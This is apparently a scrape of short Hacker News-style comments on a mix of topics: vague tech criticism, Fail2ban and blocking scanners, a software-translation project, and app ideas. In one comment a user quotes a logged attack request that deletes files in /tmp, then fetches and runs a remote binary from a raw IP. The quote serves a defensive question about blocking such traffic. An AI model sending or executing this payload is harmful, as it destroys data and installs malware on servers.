But once something gets significantly complex, <insert name of literally any tech you're incompetent in> starts to fall down.
Vague arguments like this are categorically useless.
HN user
But once something gets significantly complex, <insert name of literally any tech you're incompetent in> starts to fall down.
Vague arguments like this are categorically useless.
This is a neat little solution. Thanks. I'll set this up and test it out.
Fail2ban is theater on a properly configured server
How do you block scanner scripts making hundreds of requests to your http server attempting to find login pages and other "secret" urls?
I see a variety of weird requests made to my http server. A sample:
`GET /shell?cd+/tmp;rm+-rf+*;wget+209.141.59.94/jaws;sh+/tmp/jaws HTTP/1.1`
Fail2ban seems a decent solution for this. Unless, of course, there's a better solution perhaps?
pedantic
I was internationalising a web extension that I had made, and it wasn't easy. For a single term, Google translate returns all possible translations of a word and then it gets hard to choose which translation best fits our required context.
For example, the word "Save" is used for saving a file or some data. But it also has other meanings depending on the context. Then it gets hard to choose which translation suits our use case.
With Open Translation, I want to make i18n easy by listing accurate and verified translations for commonly used phrases and terms in software, such as error messages, buttons, labels, etc.
a social app that blurs your friends posts when you haven’t talked to them in real life for a few weeks
How will the app know that?
It would be good to see the percentage of upvotes on a product. Something like reddit.
To maintain the status quo.
"Making the world a better place" is the biggest lie ever said.
I'm just wondering if you got this domain from a squatter or you were lucky enough to find it untaken?